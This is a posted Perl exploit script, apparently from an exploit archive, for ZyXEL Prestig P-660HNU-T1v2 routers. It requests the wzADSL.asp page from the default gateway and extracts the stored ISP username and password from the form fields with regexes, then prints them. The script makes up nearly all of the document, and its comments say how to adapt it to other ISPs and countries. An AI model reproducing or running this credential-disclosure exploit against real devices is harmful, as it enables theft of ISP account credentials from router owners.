ZyXEL Prestig P-660HNU-T1v2 Credential Disclosure

`#!/usr/bin/perl  
# Exploit Author: Sebastián Magof  
# Hardware: ZyXEL Prestig P-660HNU-T1  
# Vulnerable file: wzADSL.asp  
# location: http://gateway/cgi-bin/wzADSL.asp  
# Bug: ISP usr+pwd disclosure  
# Type: Local  
# Date: 22/09/2014  
# Vendor Homepage: http://www.zyxel.com/  
# Version: 2.00(AAIJ.1)  
# Tested on: Linux Fedora 20/Windows 7  
# (\/)  
# (**) Alpha (:  
#(")(")  
#usage:perl exploit.pl  
use LWP::UserAgent;  
use HTTP::Request;  
#begin  
print "\n\n************************************************************\n";  
print "* ZyXEL Prestig MODELO P-660HNU-T1v2 local ISP usr+pwd *\n";#default gateway 192.168.1.1 (Arnet Telecom ISP Argentina)  
print "************************************************************\n\n";#in oher country modify $url line 25  
  
  
#isp pwd disclosure file  
my $url = "http://192.168.1.1/cgi-bin/wzADSL.asp";  
  
  
#UserAgent  
my $ua = LWP::UserAgent->new();  
$ua->agent("Mozilla/5.0");  
  
  
#Request.  
my $req = HTTP::Request->new(GET => $url);  
my $request = $ua->request($req);  
my $content = $request->content(); #content  
my ($usr) = $content =~ m/name="wan_UserName" size="30" maxlength="128" value="(.+)" >/;  
my ($pwd) = $content =~ m/name="wan_Password" size="30" maxlength="128" value="(.+)">/;  
#ISP usr+pwd Arnet Telecom Argentina;  
print "User: $usr\n";  
print "Password: $pwd\n\n";  
exit(0);  
  
  
  
__EOF__  
  
`